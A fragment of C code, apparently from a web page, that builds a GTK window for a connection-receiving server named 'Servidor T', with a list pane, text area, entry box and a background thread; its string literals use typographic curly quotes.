/*static void append_text (GtkTextBuffer *buffer,gchar *mensaje) {
GtkTextMark *mark;
GtkTextIter iter ;

mark = gtk_text_buffer_get_insert (buffer);
gtk_text_buffer_get_iter_at_mark (buffer, &iter, mark);

gtk_text_buffer_insert (buffer, &iter, mensaje, -1);

} */

static void insert_text( GtkTextBuffer *buffer,gchar *mensaje )
{
GtkTextIter iter;

gtk_text_buffer_get_iter_at_offset (buffer, &iter, 0);

gtk_text_buffer_insert (buffer, &iter,mensaje,-1);
}

/* Create a scrolled text area that displays a “message” */
static GtkWidget *create_text( void )
{
GtkWidget *scrolled_window;
GtkWidget *view;
GtkTextBuffer *buffer;

view = gtk_text_view_new ();
buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (view));

scrolled_window = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scrolled_window),
GTK_POLICY_AUTOMATIC,
GTK_POLICY_AUTOMATIC);

gtk_container_add (GTK_CONTAINER (scrolled_window), view);

insert_text (buffer,”lista de texto” );

gtk_widget_show_all (scrolled_window);

return scrolled_window;
}

static gpointer conexion_e_interface (gpointer data) {
int i=0 ;
int prueba = 0 ;

recibe_conexiones (data) ;

}

int main( int   argc,
char *argv[] )
{
GtkWidget *window;
GtkWidget *box ;
GtkWidget *vpaned;
GtkWidget *entry ;
GtkWidget *list;
GtkWidget *text;
GtkWidget *tree ;
GtkWidget *separator;
GThread   *thread,*thread2;
GError    *error = NULL;
gchar msg[10] = (“Hilo\n”) ;
int pid = 0 ;

//memset (sockets_global,0,sizeof(sockets_global) ) ;

if ( ! g_thread_supported() ) g_thread_init( NULL ) ;

/* Secure gtk */
gdk_threads_init();

gdk_threads_enter();

gtk_init (&argc, &argv);

window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), “Servidor T”);
g_signal_connect (window, “destroy”,
G_CALLBACK (gtk_main_quit), NULL);
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
gtk_widget_set_size_request (GTK_WIDGET (window), 550, 500);

/* create a vpaned widget and add it to our toplevel window */

box=gtk_box_new (GTK_ORIENTATION_VERTICAL,5) ;

vpaned = gtk_vpaned_new ();
text = create_text ();
list = create_list (text);
gtk_paned_add1 (GTK_PANED (vpaned), list);
gtk_paned_add2 (GTK_PANED (vpaned), text);

entry = gtk_entry_new() ;
g_signal_connect (entry, “activate”,
G_CALLBACK (entry_callback),
entry);

gtk_box_pack_start (GTK_BOX (box), vpaned, TRUE, TRUE, 0);

gtk_box_pack_end (GTK_BOX (box), entry, FALSE, FALSE, 0);

gtk_container_add (GTK_CONTAINER (window), box);

gtk_widget_show (list);
gtk_widget_show (text);
gtk_widget_show (vpaned);
gtk_widget_show (entry);
gtk_widget_show (box);

gtk_widget_show (window);

thread = g_thread_create( conexion_e_interface,(gpointer)vpaned,
FALSE, &error );
if( ! thread )
{
g_print( “Error: %s\n”, error->message );
return( -1 );

}

gtk_main ();

gdk_threads_leave();

return 0;
}